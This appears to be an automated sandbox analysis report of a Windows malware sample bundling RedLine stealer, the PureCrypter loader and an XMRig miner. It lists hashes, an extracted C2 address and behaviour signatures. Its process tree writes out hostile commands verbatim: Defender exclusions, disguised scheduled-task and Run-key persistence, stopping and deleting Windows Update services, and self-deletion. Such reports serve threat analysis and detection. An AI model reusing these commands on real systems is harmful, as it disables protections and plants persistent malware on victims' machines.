Analysis

  • max time kernel
    150s
  • max time network
    131s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    12/01/2023, 09:55

General

  • Target

    76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe

  • Size

    976KB

  • MD5

    d1e9f82dd227a45c97dcda1eeaffb3df

  • SHA1

    4f432ddcdcc07b39cd731f0f5f6be8b85cad4f36

  • SHA256

    76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d

  • SHA512

    33b9b7d563f083cae2c14869059090a80b97d9e5c385b55a969ed1684015c493eaf1ca47d8c284e69bed74a5880f22a461fcfb051ad2fe17b40f0c87ac2e2223

  • SSDEEP

    192:bfrIZqdCrLof/IMmfXXLoQWhLoaLew9O3:bDIZqdCrLq/IbfXXLRELSiO

Malware Config

Extracted

Family

redline

Botnet

5633308507

C2

65.21.237.20:43077

Attributes
  • auth_value

    a53ea2c0cc054e8615f91cd47c18a2de

Signatures

  • Detect PureCrypter loader 1 IoCs
  • Modifies security service 2 TTPs 5 IoCs
  • PureCrypter

    PureCrypter is a loader which is intended for downloading and executing additional payloads.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 14 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 3 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2312
      • C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe
        "C:\Users\Admin\AppData\Local\Temp\76bdef9de3117ff2a00febc3b411bd576365644fb339e9af93766e11feaa535d.exe"
        2⤵
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2204
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig/release
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2268
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /release
            4⤵
            • Gathers network information
            PID:4292
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMQAwAA==
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4736
        • C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe
          "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          PID:4952
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig/renew
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4824
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /renew
            4⤵
            • Gathers network information
            PID:4636
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:664
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1448
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:5076
        • C:\Windows\System32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3816
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
        • C:\Windows\System32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3488
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:3492
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:940
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:3360
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:4572
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:1168
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:744
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:416
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:2912
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:4520
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:2300
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3724
                • C:\Windows\System32\choice.exe
                  choice /C Y /N /D Y /T 3
                  3⤵
                    PID:3556
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#qzignfste#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "WindowsHost" } Else { "C:\Program Files\Windows\WindowsHost" }
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:1504
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /run /tn WindowsHost
                    3⤵
                      PID:4032
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                    2⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4912
                  • C:\Windows\System32\cmd.exe
                    C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2640
                    • C:\Windows\System32\sc.exe
                      sc stop UsoSvc
                      3⤵
                      • Launches sc.exe
                      PID:5056
                    • C:\Windows\System32\sc.exe
                      sc stop WaaSMedicSvc
                      3⤵
                      • Launches sc.exe
                      PID:3492
                    • C:\Windows\System32\sc.exe
                      sc stop wuauserv
                      3⤵
                      • Launches sc.exe
                      PID:940
                    • C:\Windows\System32\sc.exe
                      sc stop bits
                      3⤵
                      • Launches sc.exe
                      PID:3332
                    • C:\Windows\System32\sc.exe
                      sc stop dosvc
                      3⤵
                      • Launches sc.exe
                      PID:4632
                    • C:\Windows\System32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                      3⤵
                        PID:4192
                      • C:\Windows\System32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                        3⤵
                          PID:2220
                        • C:\Windows\System32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                          3⤵
                            PID:4228
                          • C:\Windows\System32\reg.exe
                            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                            3⤵
                              PID:5104
                            • C:\Windows\System32\reg.exe
                              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                              3⤵
                                PID:3188
                            • C:\Windows\System32\cmd.exe
                              C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:592
                              • C:\Windows\System32\powercfg.exe
                                powercfg /x -hibernate-timeout-ac 0
                                3⤵
                                  PID:3572
                                • C:\Windows\System32\powercfg.exe
                                  powercfg /x -hibernate-timeout-dc 0
                                  3⤵
                                    PID:2928
                                  • C:\Windows\System32\powercfg.exe
                                    powercfg /x -standby-timeout-ac 0
                                    3⤵
                                      PID:2116
                                    • C:\Windows\System32\powercfg.exe
                                      powercfg /x -standby-timeout-dc 0
                                      3⤵
                                        PID:3360
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nugixlm#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsHost' /tr '''C:\Program Files\Windows\WindowsHost''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Windows\WindowsHost') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsHost' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /f /d 'C:\Program Files\Windows\WindowsHost' }
                                      2⤵
                                      • Drops file in System32 directory
                                      • Modifies data under HKEY_USERS
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4292
                                    • C:\Windows\System32\conhost.exe
                                      C:\Windows\System32\conhost.exe yadsrbyzjoct
                                      2⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:960
                                    • C:\Windows\System32\cmd.exe
                                      C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                      2⤵
                                      • Drops file in Program Files directory
                                      PID:1520
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic PATH Win32_VideoController GET Name, VideoProcessor
                                        3⤵
                                          PID:524
                                      • C:\Windows\System32\cmd.exe
                                        C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                                        2⤵
                                        • Drops file in Program Files directory
                                        PID:1864
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe hfskhxmdoncbxhsb 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
                                        2⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:412
                                    • C:\Program Files\Windows\WindowsHost
                                      "C:\Program Files\Windows\WindowsHost"
                                      1⤵
                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                      • Executes dropped EXE
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious use of SetThreadContext
                                      • Drops file in Program Files directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5096

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Program Files\Google\Libs\g.log

                                            Filesize

                                            226B

                                            MD5

                                            fdba80d4081c28c65e32fff246dc46cb

                                            SHA1

                                            74f809dedd1fc46a3a63ac9904c80f0b817b3686

                                            SHA256

                                            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

                                            SHA512

                                            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

                                          • C:\Program Files\Windows\WindowsHost

                                            Filesize

                                            9.4MB

                                            MD5

                                            bf41699ea8e7a4ddc8989a616909c05d

                                            SHA1

                                            1f39ca29bec36d9971fd67a04e48108afa487b39

                                            SHA256

                                            ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1

                                            SHA512

                                            72e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634

                                          • C:\Program Files\Windows\WindowsHost

                                            Filesize

                                            9.4MB

                                            MD5

                                            bf41699ea8e7a4ddc8989a616909c05d

                                            SHA1

                                            1f39ca29bec36d9971fd67a04e48108afa487b39

                                            SHA256

                                            ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1

                                            SHA512

                                            72e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634

                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                            Filesize

                                            3KB

                                            MD5

                                            ad5cd538ca58cb28ede39c108acb5785

                                            SHA1

                                            1ae910026f3dbe90ed025e9e96ead2b5399be877

                                            SHA256

                                            c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

                                            SHA512

                                            c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            16KB

                                            MD5

                                            bd0b4ae7e3ed2099bb25465b45fcbf49

                                            SHA1

                                            63f95e7b6e7563045452357df06339c41d91a6d6

                                            SHA256

                                            58b774bb420382d9bb3016fb7f039886a8568c93c2c09c08b3b26393f580cb9a

                                            SHA512

                                            d380bee666a044b895a53a8e2d6e620048fbb3258473d2ce4c6f3df46abed7cf919a1714e4f8b0a35c7e62747cbd6da6f744e4b5cb35136fd67d804e298c1fe4

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            1KB

                                            MD5

                                            ed40265bc41f67f9b43ab9af4c778fc4

                                            SHA1

                                            82dc7e119ee84c74e7993bb18a516f669394b03b

                                            SHA256

                                            5c9eff5fa774ccf71f6c628402290a097e29c1aca175d577f2d38d2100fa0a3b

                                            SHA512

                                            74e2b7cd6340ed11a4ac2155b990664054ae1b182461cef9121299db97b2700949faf3978693abcac3e7e2b79d441a325ce0de79420ae53e86400261b6264990

                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            1KB

                                            MD5

                                            5e51717fdd25d6eed0d48cd8ff4b2961

                                            SHA1

                                            fd16ded3eda88a86b6e9654fff829cef01cb00af

                                            SHA256

                                            a6bec2c9e3362d7cb9ca8bb3cf6922ce6a75bfbc11dc352d949476e6522e741a

                                            SHA512

                                            7ffc27dfebde4dcff968964b59f474711a9a98ecd6474f621e0ca6da4d2d6342fd7c4dcd5caed68823a2eaf5db0821c41d9dab07273d184885bc58f510060fa7

                                          • C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe

                                            Filesize

                                            9.4MB

                                            MD5

                                            bf41699ea8e7a4ddc8989a616909c05d

                                            SHA1

                                            1f39ca29bec36d9971fd67a04e48108afa487b39

                                            SHA256

                                            ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1

                                            SHA512

                                            72e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634

                                          • C:\Users\Admin\AppData\Local\Temp\Gpwangiscadatahub.exe

                                            Filesize

                                            9.4MB

                                            MD5

                                            bf41699ea8e7a4ddc8989a616909c05d

                                            SHA1

                                            1f39ca29bec36d9971fd67a04e48108afa487b39

                                            SHA256

                                            ef351d1015aeebc0983a645de1e76d10aba040bff485ac82faed27c9445d2fe1

                                            SHA512

                                            72e36bd0b99fa346f18589e24e8036811c5d76b3ecb6124428798cc64df1c2b0471934f61046bd8e6776296188e7db4461a8c1f51fec1899916aeafab4ce2634

                                          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                            Filesize

                                            3KB

                                            MD5

                                            573d77d4e77a445f5db769812a0be865

                                            SHA1

                                            7473d15ef2d3c6894edefd472f411c8e3209a99c

                                            SHA256

                                            5ec3f268845a50e309ae0d80bcee4f4dd4cd1b279ab1e64b523a057c11074f1c

                                            SHA512

                                            af2422a9790a91cdcbe39e6ef6d17899c2cbd4159b1b71ac56f633015068d3afc678fcef34892575bf59bdf7d5914ec6070864940d44130263fe84e28abba2dc

                                          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                            Filesize

                                            1KB

                                            MD5

                                            631f4b3792b263fdda6b265e93be4747

                                            SHA1

                                            1d6916097d419198bfdf78530d59d0d9f3e12d45

                                            SHA256

                                            4e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976

                                            SHA512

                                            e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe

                                          • memory/412-981-0x0000028BAF360000-0x0000028BAF380000-memory.dmp

                                            Filesize

                                            128KB

                                          • memory/412-977-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp

                                            Filesize

                                            8.0MB

                                          • memory/412-978-0x0000028BAF310000-0x0000028BAF330000-memory.dmp

                                            Filesize

                                            128KB

                                          • memory/412-979-0x00007FF6F8C10000-0x00007FF6F9404000-memory.dmp

                                            Filesize

                                            8.0MB

                                          • memory/412-980-0x0000028BAF360000-0x0000028BAF380000-memory.dmp

                                            Filesize

                                            128KB

                                          • memory/664-399-0x0000026D32670000-0x0000026D326E6000-memory.dmp

                                            Filesize

                                            472KB

                                          • memory/664-389-0x0000026D31B10000-0x0000026D31B32000-memory.dmp

                                            Filesize

                                            136KB

                                          • memory/2204-151-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-144-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-149-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-150-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-147-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-152-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-153-0x00000000005C0000-0x00000000005C8000-memory.dmp

                                            Filesize

                                            32KB

                                          • memory/2204-155-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-154-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-156-0x00000000052D0000-0x00000000057CE000-memory.dmp

                                            Filesize

                                            5.0MB

                                          • memory/2204-157-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-158-0x0000000004E70000-0x0000000004F02000-memory.dmp

                                            Filesize

                                            584KB

                                          • memory/2204-159-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-160-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-161-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-162-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-163-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

                                          • memory/2204-164-0x0000000077540000-0x00000000776CE000-memory.dmp

                                            Filesize

                                            1.6MB

